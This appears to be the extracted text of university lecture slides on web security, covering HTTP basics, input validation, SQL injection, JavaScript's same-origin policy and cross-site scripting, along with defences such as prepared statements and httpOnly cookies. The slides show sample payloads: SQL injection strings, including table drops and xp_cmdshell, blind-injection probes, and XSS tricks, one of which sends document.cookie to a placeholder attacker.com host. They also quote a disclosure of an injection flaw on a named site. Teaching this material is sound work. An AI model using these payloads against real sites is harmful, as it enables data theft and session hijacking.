Administrative News

• 27 Registered students so far...

• First challenge will be online today at 3pm
  – It should be straightforward, just a warm-up ;-)  
  – You need to register for the course to get an account!
    (see slides from previous class for instructions)
  – After the registration it may take some time before you can
    start the challenge (your account must be “propagated” to a
    number of machines)

• Eurecom machines are firewalled :( 
  – Connecting from lab machines or from home should work
Web Security - Overview
World Wide Web

- The Web is big and still growing
  - 2008: Google visited 1 trillion unique URLs
  - 2009: over 110M web sites

- Easiest way to compromise hosts, networks and users
  - Insufficient logs (usually no logs for POST payload)
  - Applications largely developed by amateurs
  - Difficult to defend against, or to detect
  - Firewall? What firewall? I don’t see any firewall...
  - Encrypted transport layer does not help much

- Attack against web applications constitute 60% of attacks on the Internet
Web Application Security

- When an organization puts up a web application, they invite everyone to send them HTTP requests.

- Attacks buried in these requests sail past firewalls without notice because they are inside legal HTTP requests.

- Even “secure” websites that use SSL just accept the requests that arrive through the encrypted tunnel without scrutiny.

- This means that your web application code is part of your security perimeter!
Security issues related to the Web are not new. In fact, some have been well understood for decades.

- For a variety of reasons, major software development projects are still making these mistakes and jeopardizing not only their customers’ security, but also the security of the entire Internet.
- There is no “silver bullet” to solve these problems. Today’s assessment and protection technology is improving, but can currently only deal with a limited subset of the issues at best.
- To address the security issues, organizations will need to change their development culture, train developers, update their software development processes, and use technology where appropriate.
The Global Picture

CLIENT-SIDE

Browser

Operating System

Proxy

Reverse-Proxy, Application Firewall, IDS...

SERVER-SIDE

Web-Server

Web Application

Modules

Database

Operating System
The Global Picture

Web-Server

Web Application

Database

Operating System

Operating

System

Kernel 2.6.17 – 4.1M LOC

Reverse-Proxy, Application Firewall, IDS...

Proxy

Firefox 1.5 – 2.2M LOC

Mozilla+Plugins ~30M LOC

MySQL 900K LOC

Apache 2.0 90K LOC

WorldPress ~ 200K LOC

Modules

CLIENT-SIDE

World

Browser

CLIENT-SIDE

Operating System

Drupal

Java
"Time after time, year after year, we see SQL Injection, XSS, information leaks, and session management as the most commonly used Web attacks, and it is mind boggling to see that more than 90 percent of Web applications continue to be vulnerable"

*Cenzic Report 2009*
Attackers are Everywhere

Browser

Proxy

Plug-Ins

Operating System

Web-Server

Reverse-Proxy, Application Firewall, IDS...

Malicious Web pages

Median

Month (July 2009 - June 2010)

Web pages (in millions)
Attackers are Everywhere
Countermeasures are Everywhere

- Blacklisting, Securing Plugins, JS Sandboxing
- Web-Application Firewalls
- Web-based IDS
- Web-Proxy
- Web-based IDS
- Vulnerability detection and mitigation
- Scanners, Crawlers
- Operating System
- Database
- Modules
- Application Firewall, IDS...
- Web-Server
- Process sandboxing
- Operating System
- Plug-Ins
- Operating System
Short Intro to HTTP

• On top of TCP (default port: 80)
• Two main versions
  – Version 1.0 defined in RFC 1945
  – Version 1.1 defined in RFC 2616
• Client
  – Opens TCP connection to the server
  – Sends an HTTP request
• Server
  – Accepts the TCP connection from the client
  – Processes the HTTP request
  – Sends a HTTP reply
HTTP

- Each client request and server response has three parts:
  - the request or response line
  - a header section
  - the entity body
- The client initiates a transaction as follows:
  
  GET /index.html?param=value HTTP/1.0

- After the request and headers, the client may send additional data
  - This data is mostly used by CGI programs using the POST method
  - Note that for the GET method, the parameters are encoded into the URL
HyperText Transfer Protocol (HTTP)

```
> nc www.iseclab.org 80
GET /index.html HTTP/1.1
HOST: www.iseclab.org

HTTP/1.1 200 OK
Date: Sun, 29 Mar 2009 09:28:06 GMT
Server: Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2
PHP/5.2.4-2ubuntu5.5 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g
ETag: "4c072-4d82-465f664106980"
Accept-Ranges: bytes
Content-Length: 19842
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
```
Status Codes

- **1xx**: Informational
  - 100: CONTINUE
- **2xx**: Success
  - 200: OK
- **3xx**: Redirection
  - 301: MOVED PERMANENTLY
  - 307: TEMPORARY REDIRECT
- **4xx**: Client Error (error in the client request)
  - 400: BAD REQUEST
  - 401: UNAUTHORIZED
  - 404: NOT FOUND
- **5xx**: Server Error
  - 501: NOT IMPLEMENTED
URLs

• **Syntax**: `<scheme>://<authority><path>?<query>`
**URLs**

**Syntax:** `<scheme>://<authority><path>?<query>`

- **Scheme**: a string specifying the protocol/framework
- **Examples:**
  - `http://www.iseclab.org/~dbalzarotti/`
  - `mailto:nobody@iseclab.org`
  - `Telnet://127.0.0.1`
URLs

**Syntax:** `<scheme>://<authority><path>?<query>`

- **Authority**: a name space that qualifies the resource
  - Generally in the form: `username@hostname:portnumber`
  - Hostname can be either a name or an IP address

- **Examples:**
  - `http://www.iseclab.org/~dbalzarotti/`
  - `mailto:nobody@iseclab.org`
  - `telnet://127.0.0.1`
**URLs**

**Syntax:** `<scheme>://<authority><path>?<query>`

- **Path:** a `/` separated path of the requested resource
- **Examples:**
  - `http://www.iseclab.org/~dbalzarotti/`
  - `mailto:nobody@iseclab.org`
  - `Telnet://127.0.0.1`
URLs

**Syntax:** `<scheme>://<authority><path>?[<query>]`

- **Query**: application-specific piece of information
- **Examples:**
HTTPS

• Combination of HTTP and SSL (or TLS)
• Encrypt the communication
  – Protect against eavesdropping
  – Protect from man in the middle attacks
    (provided that the certificate is trusted)
  – Used to protect the user authentication
  – By-pass IDS / IPS

• The trust inherent in HTTPS is based on major certificate authorities that come pre-installed in browser software
• Does not protect from attacks against the web application
The Comodo Incident

• On March 15th 2011, an attacker compromised a Comodo Trusted Partner in Southern Europe

• The attacker issued 9 fraudulent SSL certificates
  – All certificates were revoked immediately on discovery
    • Followed by very rapid updates by several browser manufacturers
  – At least one certificate (login.yahoo.com) was observed live in the Internet

Web Server Scripting

• Allows easy implementation of complex functionality also for non-programmers
  – Think: Is this a good idea?
  – Example scripting languages: Perl, Python, ASP, JSP, PHP

• Scripts are installed on the Web server and return HTML as output that is then sent to the client

• Template engines are often used to power Web sites
  – E.g., Cold Fusion, Cocoon, Zope
  – These engines often support/use scripting languages
Objective: write an application that accepts a username and password and displays them back to the user

```html
<html><body>
<form action="/scripts/login.pl" method="post">
  Username: <input type="text" name="username"> <br>
  Password: <input type="password" name="password"> <br>
  <input type="submit" value="Login" name="login">
</form>
</body></html>
```
Corresponding Perl script that displays the username and password passed to it:

```perl
#!/usr/local/bin/perl
uses CGI;
$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
print "<html><body> Username: $username <br>
Password: $password <br>
</body></html>";```
Know Your Audience / Enemy

- The potential audience of a web application includes the typical human being
  - However, there may be automated, “bad” clients as well

- Even Intranet applications must take these threats into consideration because e-mails containing HTML could be sent
  - Malicious content delivered through Web browsing can compromise or hijack intranet client nodes and cause them to attack an intranet web application
  - Possible measure against “insider attacks”: Define policies so that internal users cannot access your web application
Web Security - Overview
A Common Root for Many Problems

- Web applications use input from HTTP requests (and occasionally files) to determine how to respond
  - Attackers can tamper with any part of an HTTP request, including the URL, query string, headers, cookies, form fields, and hidden fields
  - Common input tampering attempts include XSS, SQL Injection, hidden field manipulation, buffer overflows, cookie poisoning, hidden field manipulation, remote file inclusion...

The failure to properly validate input provided by the user is the root of almost all the major vulnerabilities in web applications
Unvalidated Input

• A surprising number of web applications use only client-side mechanisms to validate input
  – Client side validation mechanisms are easily bypassed, leaving the web application without any protection against malicious parameters

• How to determine if you are vulnerable?
  – Any part of an HTTP request that is used by a web application without being carefully validated can potentially be used to attack the application
  – The simplest way: to have a detailed code review, searching for all the calls where information is extracted from an HTTP request
Unvalidated Input

• How to protect yourself?
  – The best way to prevent parameter tampering is to ensure that all parameters are validated before they are used
  – A centralized component or library is likely to be the most effective, as the code performing the checks should be all in one place

• Two main approaches:
  – Negative: specify what you don't want and everything else is accepted
    • Often implemented in webapps
    • Very hard to get it right and easy to evade
  – Positive: specify what is acceptable and everything else is filtered out
    • Remember the fail safe principle
Parameters should be validated against a “positive” specification that defines:

1. Data type (string, integer, real, etc…)
2. Allowed character
3. Numeric range
4. Minimum and maximum length
5. Whether null is allowed
6. Whether the parameter is required or not
7. Whether duplicates are allowed
8. Specific legal values (enumeration) or specific patterns (regular expressions)
Injection Attacks: Overview

• Many webapp invoke interpreters
  – SQL
  – Shell command
  – Sendmail
  – LDAP
  – ...

• Interpreters execute the commands specified by the parameters or input data
  – If the parameters are under control of the user and are not properly sanitized, the user can inject its own commands in the interpreter
Web Security – SQL Injections
SQL injection is a particularly widespread and dangerous form of injection attack that consists in injecting SQL commands into the database engine through an existing application.
Relational Databases

• A relational database contains one or more tables
  – Each table is identified by a name
  – Each table has a certain number of named columns
• Tables contain records (rows) with data
• For example, the following table (called "users") contains data distributed in three rows

<table>
<thead>
<tr>
<th>userID</th>
<th>Name</th>
<th>LastName</th>
<th>Login</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>John</td>
<td>Smith</td>
<td>jsmith</td>
<td>hello</td>
</tr>
<tr>
<td>2</td>
<td>Adam</td>
<td>Taylor</td>
<td>adamt</td>
<td>qwerty</td>
</tr>
<tr>
<td>3</td>
<td>Daniel</td>
<td>Thompson</td>
<td>dthompson</td>
<td>dthompson</td>
</tr>
</tbody>
</table>
SQL

• SQL (Structured Query Language) is a language to access databases

• SQL can:
  – Queries the content of a database
  – Retrieve data from a database
  – Insert/Delete/Update records in a database

• SQL is standard (ANSI and ISO) but most DBMS implement the language in a different way, providing their own proprietary extensions in addition to the standard
• To extract the last name of a user from the previous table:

```sql
mysql> SELECT LastName FROM users WHERE UserID = 1;
+-------------+
| LastName    |
+-------------+
| Smith       |
+-------------+
1 row in set (0.00 sec)
```
To exploit a SQL injection flaw, the attacker must find a parameter that the web application uses to construct a database query.

By carefully embedding malicious SQL commands into the content of the parameter, the attacker can trick the web application into forwarding a malicious query to the database.

The consequences are particularly damaging, as an attacker can obtain, corrupt, or destroy database contents.
SQL Injections

- It is not a DB or web server problem
  It is a flaw in the web application!
  - Many programmers are still not aware of this problem
  - Many of the tutorials and demo “templates” are vulnerable
  - Even worse, many of solutions posted on the Internet are not good enough

```sql
query = "SELECT * FROM `users` WHERE `name` = ' " + userName + "' ;"
...
```

- SELECT * FROM `users` WHERE `name` = 'John' ;
SQL Injections

• It is not a DB or web server problem
  It is a flaw in the web application!
  – Many programmers are still not aware of this problem
  – Many of the tutorials and demo “templates” are vulnerable
  – Even worse, many of solutions posted on the Internet are not good enough

...query = "SELECT * FROM `users` WHERE `name` = ' " + userName + "' ;"
...

"SELECT * FROM `users` WHERE `name` = 'John' OR 'x'='x"
Perl script that looks up *username* and *password*:

```perl
...
$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
$sql_command = "select * from users where username='".$username."' and password='".$password."'";
$sth = $dbh->prepare($sql_command)
...
```
Perl script that looks up *username* and *password*:

```perl
...
$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
$sql_command = "select * from users where username='\$username' and password='\$password'";
$sth = $dbh->prepare($sql_command);
...
```

No Validation!
SQL Injection 101 (or 1=1)

• By-pass SQL conditions by entering: ‘ or 1=1 --
• For example, for a common username/password query:

```
select * from table where username=''
or 1=1 --' and password=''
```

  – The conditional statement “username =‘’ or 1=1” is true whether or not username is equal to “
  – The “--” makes sure that the rest of the SQL statement is interpreted as a comment and therefore password =‘’ is not evaluated (in SQL Server)
Obtaining Information using Errors

• Errors returned from the application might help the attacker (e.g., ASP – default behavior)
  – Username: ' having 1=1--
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft]
    [ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the
    select list because it is not contained in an aggregate function and there is
    no GROUP BY clause.
    /process_login.asp, line 35

• Make sure that you do not display unnecessary debugging and error messages to users.
  – For debugging, it is always better to use log files
    (e.g., error log).
Some SQL Attack Examples

• select * ...; insert into user values(“user”, ”h4x0r”);
  – Attacker inserts a new user into the database

• The attacker could also use stored procedures
  – xp_cmdshell()
  – “bulk insert” statement to read any file on the server
  – e-mail data to the attacker’s mail account
  – Play around with the registry settings

• select *...; drop table SensitiveData;

• Appending “;” character does not work for all databases. Might depend on the driver (e.g., MySQL)
Advanced SQL Injection

• Web applications will often escape the ‘ and “ characters (e.g., PHP).
  – This will prevent most SQL injection attacks… but there might still be vulnerabilities

• In large applications, some database fields are not strings but numbers. Hence, ‘ or “ characters are not necessary (e.g., … where id=1)

• Attacker might still inject strings into a database by using the “char” function (e.g., SQL Server):
  – insert into users values(666,char(0x63)+char(0x65)…)
Blind SQL Injection

• A typical countermeasure is to prohibit the display of error messages. But, is this enough?
  – No, your application may still be vulnerable to blind SQL injection

• Let’s look at an example. Suppose there is a news site
  – Press releases are accessed with pressRelease.jsp?id=5
  – An SQL query is created and sent to the database:
    `select title, description FROM pressReleases where id=5;`
  – Any error messages are smartly filtered by the application
Blind SQL Injection

- How can we inject statements into the application and exploit it?
  - We do not receive feedback from the application so we can use a trial-and-error approach.
  - First, we try to inject `pressRelease.jsp?id=5 AND 1=1`.
  - The SQL query is created and sent to the database:
    ```
    select ....from PressReleases where id=5 AND 1=1
    ```
  - If there is an SQL injection vulnerability, the same press release should be returned.
  - If input is validated, `id=5 AND 1=1` should be treated as value.
Blind SQL Injection

- When testing for vulnerability, we know 1=1 is always true
  - However, when we inject other statements, we do not have any information
  - What we know: If the same record is returned, the statement must have been true
  - For example, we can ask server if the current user is “h4x0r”:
    pressRelease.jsp?id=5 AND user_name()='h4x0r'
  - By combining subqueries and functions, we can ask more complex questions (e.g., extract the name of a database character by character)
Second Order SQL Injection

• SQL is injected into an application, but the SQL statement is invoked at a later point in time
  – e.g., Guestbook, statistics page, etc.

• Even if application escapes single quotes, second order SQL injection might be possible
  – Attacker sets user name to: `john'--`, application safely escapes value to `john''`–
  – At a later point, attacker changes password (and “sets” a new password for victim `john`):
    • `update users set password= ... where database_handle("username")='john'--`
Exploit of a Mom (xkcd)

HI, THIS IS YOUR SON’S SCHOOL. WE’RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR – DID HE BREAK SOMETHING? IN A WAY–

DID YOU REALLY NAME YOUR SON Robert’); DROP TABLE Students;--?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE’VE LOST THIS YEAR’S STUDENT RECORDS. I HOPE YOU’RE HAPPY.

AND I HOPE YOU’VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
SQL Injection Solutions

• Developers must never allow client-supplied data to modify SQL statements
  – Best protection is to isolate application from SQL ;-)
  – All SQL statements required by application should be stored procedures on the database server
  – The SQL statements should be executed using safe interfaces such as JDBC CallableStatement or ADO’s Command Object
  – Both prepared statements and stored procedures compile SQL statements before user input is added
• Let us use `pressRelease.jsp` as an example. Here our code:
  ```java
  String query = "SELECT title, description from pressReleases
                  WHERE id= " + request.getParameter("id");
  Statement stat = dbConnection.createStatement();
  ResultSet rs = stat.executeQuery(query);
  ```

• The first step to secure the code is to take the SQL statements out of the web application and into DB
  ```sql
  CREATE PROCEDURE getPressRelease @id integer
  AS SELECT title, description FROM pressReleases WHERE Id = @id
  ```
• Now, in the application, instead of string-building SQL, call stored procedure:

```java
CallableStatements cs = dbConnection.prepareCall("{call getPressRelease(?)}");
cs.setInt(1,Integer.parseInt(request.getParameter("id")));
ResultSet rs = cs.executeQuery();
```
$stmt = $mysqli->stmt_init();
$stmt->prepare("SELECT District FROM City
WHERE Name=?");
$stmt->bind_param("s", $city);
/* type can be "s" = string, "i" = integer .. */
$stmt->execute();
$stmt->bind_result($district);
$stmt->fetch();
printf("%s is in district %s\n", $city, $district);
MySQL.com Vulnerable To Blind SQL Injection Vulnerability

From: Jack haxor <jackh4xor () h4cky0u org>
Date: Sun, 27 Mar 2011 05:46:30 +0000

[+] MySQL.com Vulnerable To Blind SQL Injection vulnerability
[+] Author: Jackh4xor @ w4ck1ng
[+] Site: http://www.jackh4xor.com

About MySQL.com:

The Mysql website offers database software, services and support for your business, including the Enterprise server, the Network monitoring and advisory services and the production support. The wide range of products include: Mysql clusters, embedded database, drivers for JDBC, ODBC and Net, visual database tools (query browser, migration toolkit) and last but not least the MaxDB- the open source database certified for SAP/R3. The Mysql services are also made available for you. Choose among the Mysql training for database solutions, Mysql certification for the Developers and DBAs, Mysql consulting and support. It makes no difference if you are new in the database technology or a skilled developer of DBA, Mysql proposes services of all sorts for their customers.

Host IP: 213.136.52.29
Web Server: Apache/2.2.15 (Fedora)
Powered-by: PHP/5.2.13
Injection Type: MySQL Blind
Current DB: web
JavaScript
Overview

• JavaScript language characterization

• Security policies
  – same-origin
  – code signing

• Browser vulnerabilities
  – implementation errors
  – design issues

• Interaction between client and server
JavaScript

• Developed by Netscape as a light-weight scripting language with object-oriented capabilities
  – Current version standardized as ECMA 357
  – Most popular scripting language on the Internet
  – Works with basically all browsers

• Designed to add interactivity to HTML pages
  – usually embedded directly into HTML pages (<script> tags)
  – can access and add elements to HTML page (DOM tree)
  – can react to events

• JavaScript is a scripting language
  – dynamic, weak typing
  – interpreted language
  – script executes on virtual machine in browser
JavaScript

- **JavaScript is quite different from Java**
  - Originally, JavaScript was named LiveScript
    - marketing department made developers change the name
  - Java is more complex and powerful
  - static, strong typing

- **Design decisions (Brendan Eich)**
  - make it easy to copy and paste snippets of code
  - tolerate “minor” errors (missing semicolons)
  - simplified event handling
  - choose some powerful, often-needed primitives
JavaScript

- Syntax quite similar to Java
  - control statements, exception handling

- No classes, but object-based
  - uses objects with properties (name - value pairs)

- No input / output facilities per se
  - must be provided by embedding environment

- Scope of variables is either global or function-local

- Code can be generated at run-time and executed on-the-fly
  - `eval()` function
Security Policies

• Unknown code is downloaded to machine
  – always risky from security point of view
  – impossible for ask user permission to execute JavaScript code
    (too annoying, more than 50% of all pages use JS)
  – thus, special restrictions must apply

• JavaScript sandbox
  – no access to memory of other programs, file system, network
  – only current document accessible
  – might want to make exceptions for trusted code

• Basic policy for untrusted JavaScript code
  – same-origin policy
Same-Origin Policy

The script can only access resources (e.g., cookies) that are associated with the same origin

- prevents hostile script from tampering with other pages in the browser
- prevents script from snooping on input (passwords) of other windows

• Every frame in a browser’s window is associated with a domain
  - A domain is determined by the server, protocol, and port from which the frame content was downloaded

• If a frame explicitly include external code, this code will execute within the frame domain even though it comes from another host
Same-Origin Policy – Security Problems

• **Browser vulnerability where policy is not enforced properly**
  – Many bug in Safari, Internet Explorer, and Mozilla
  – quite common in early days

• **Problems with multiple parties on same site**
  – one server can hold directories for different parties
    - http://www.example.com/party1
    - http://www.example.com/party2
  – no protection provided by same-origin policy in this case
Security Policies

• Browsers offer mechanisms to customize policies
  – Firefox and Internet Explorer allow general security policies
  – grant different capabilities to different origins
  – can be very fine-grained
  – based on individual methods (e.g., window.open)
  – often difficult and cumbersome to configure
  – IE security zones “low”, “medium”, “high”
Signed Scripts

• Introduce a mechanism so that trusted scripts can be run with elevated rights
  – allows access to file system and full control over browser
  – uses classic asymmetric cryptography
  – code provider obtains public / private key pair
  – publishes signed public key (certificate)
  – signs code using private key

• Signing does not imply that code is not malicious!
  – signatures can sometimes be easy to obtain
  – thus, most useful in restricted (corporate) Intranets
Browser Vulnerabilities

- Long and troubling history of bugs

- Typically involve user privacy
  - access to file system
  - access to browser cache (previous surfed pages, URL strings)
  - access to browser preferences (email address, network settings)
  - frame information leak
  - session monitoring
  - forced sending of emails

- Also more severe bugs detected
  - upload and execution of arbitrary files

- Of course, known implementation holes are often quickly closed
  - situation was worst between 1995 - 2000
Browser Vulnerabilities

• Design problems with JavaScript - malicious scripts

• Scripts can consume CPU resources
  – infinite loops
    • some browsers have heuristics that can stop such behaviour
    • unfortunately, detection of infinite loops undecidable in general case

• Scripts can consume memory
  – stack (space) overflow
    • can be easy caused by recursive functions

```javascript
function f() {
    var x = 1;
    f();
}
```
  – allocating objects in infinite loops
Browser Vulnerabilities

• Scripts can keep browser busy
  – self-referencing `<frameset>` elements
    can cause infinite recursion of document fetches
  – pop up annoying number of alert messages
  – create windows that will `blur()` when receiving focus
  – create windows that can re-spawn on `unload()` events

• Scripts that can be used to deceive user
  – pop up windows that mimic operating system messages
    trick user into downloading or installing malicious software
  – useful for phishing
    • map in padlock to pretend SSL connection is active
    • spawn window that overlays browser location bar to spoof actual URL
Developing JavaScript

• Protection of JavaScript source code
  – not possible, code is sent in plain text
  – futile attempts of JavaScript code protection
    • disable view source, e.g., right mouse button menu
    • only send script to certain browsers
  – code can be obfuscated (remember that `eval` is available)
    but de-obfuscation function must be included in code as well

→ don’t store secrets in the code
Developing JavaScript

- Password protection of pages
  
  ```javascript
  if (document.forms[0].elements[0].value == 'mypass')
      location.href = 'protectedpage.html';
  ```

- Better is to use password as name of page
  
  ```javascript
  location.href = this.elements[0].value + '.html';
  ```
  - page can be accessed when name is known
  - content is transmitted plain text

- Better is to send encrypted page and use password locally to decrypt

- Preferable is server-side authentication with SSL
Developing JavaScript

• Perform encryption before sending data to server
  – impossible because key must be shared between user and server
  – thus, key must be contained in script
  – can be snooped by attacker

• Performing client-side checks
  – can be useful to improve performance
  – but server cannot rely on any client-side security validation

• Nice mechanisms to hide email addresses
  – assemble email address on load
  – crawler parses only text

• Cross-site scripting problematic
Cross-Site Scripting
• XSS attacks are used to bypass JavaScript’s same origin policy
  – Problem: same origin policy mechanism fails if user is lured into downloading malicious code from a trusted site
• An attacker can use cross site scripting to send malicious script to an unsuspecting victim
  – The end user’s browser has no way to know that the script should not be trusted, and will execute the script.
  – Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site.
  – These scripts can even completely rewrite the content of an HTML page!
Cross-site scripting (XSS)

• XSS attacks can generally be categorized into two classes: stored and reflected
  – Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.
  – Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.
XSS Delivery Mechanisms

• **Reflected attacks** are delivered to victims via another route (e.g., an email, or another web page controlled by the attacker)
  - When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser

• **Stored attack** require the attacker to store the malicious script on a vulnerable website (e.g., a blog, a message board, ...)
  - First the JavaScript code is stored by the attacker as part of a message
  - Then the victim downloads and executes the code when a page containing the attacker’s input is viewed
• The likelihood that a site contains potential XSS vulnerabilities is extremely high
  – There are a wide variety of ways to trick web applications into relaying malicious scripts
  – Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings

• How to protect yourself?
  – Ensure that your application performs validation of all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed
Simple XSS Example

Suppose a Web application (*text.pl*) accepts a parameter *msg* and displays its contents in a form:

```php
$query = new CGI;
$directory = $query->param("msg");
print "
<html><body>
<form action="displaytext.pl" method="get">
$msg <br>
<input type="text" name="txt">
<input type="submit" value="OK">
</form>
</body></html>";
```
Simple XSS Example

- If the script `text.pl` is invoked, as
  - `text.pl?msg=HelloWorld`
- This is displayed in the browser:
Simple XSS Example

- There is an XSS vulnerability in the code. The msg input is *not validated* so JavaScript code can be injected into it.

- If we enter the URL
  
  ```text.pl?msg=<script>alert("I 0wn you")</script>```
  
  - We can do “anything” we want. E.g., we display a message to the user... worse: we can steal sensitive information.
  - Using `document.cookie` identifier in JavaScript, we can steal cookies and send them to our server.

- We can e-mail this URL to thousands of users and try to trick them into following this link (a reflected XSS attack).
Some XSS Attacker Tricks

• How does attacker “send” information to herself?
  – e.g., change the source of an image:
    – `document.images[0].src="www.attacker.com/"+document.cookie;`

• Quotes are filtered: Attacker uses the unicode equivalents \u0022 and \u0027

• “Form redirecting” to redirect the target of a form to steal the form values (e.g., password)

• Bypassing sanitization (e.g., line break trick)
  `<IMG SRC="javascript:alert('test');">`  <-- line break trick \10 \13 as delimiters.
Some XSS Attacker Tricks

- If ‘ and “ characters are filtered… (e.g., as in PHP):
  - regexp = /SecProg is boring/;
    alert(regexp.source);

- Attackers are creative (application-level firewalls have a difficult job). Check this out (no “/” allowed):
  - var n= new RegExp(“http: myserver myfolder evilscrip.js”);
    forslash=location.href.charAt(6);
    space=n.source.charAt(5);
    alert(n.source.split(space).join(forslash));
    document.scripts[0].src = n.source.split(space).join(forslash)
Some XSS Attacker Tricks

• How much script can you inject?
  – This is the web so the attacker can use URLs. That is, attacker could just provide a URL and download a script that is included (no limit!)
  – `img src='http://valid address/clear.gif'
    onload='document.scripts(0).src ="http://myserver/evilscript.js"'`
XSS Mitigation Solutions

• XSS are very difficult to prevent
• Application-level firewalls
  – Scott and Sharp (WWW 2002)
• AppShield
  – (claims to learn from traffic – does not need policies – costs a lot of money). How effective is it against sophisticated attacks?
• Static code analysis
  – Huang et al. (WWW 2003, 2004)
  – Jovanovic et al., Pixy, (Oakland 2006)
• Client-side solutions
  – Noxes (Personal Web firewall with XSS heuristics), SAC 2006
XSS Mitigation Solutions

• **httpOnly (MS solution)**
  
  – Cookie Option used to inform the browser to not allow scripting languages (JavaScript, VBScript, etc.) access the `document.cookie` object (traditional XSS attack)

  – Syntax of an httpOnly cookie:

    ```
    Set-Cookie: name=value; httpOnly
    ```

  – Using JavaScript, we can test the effectiveness of the feature. We activate httpOnly and see if `document.cookie` works
Despite the Efforts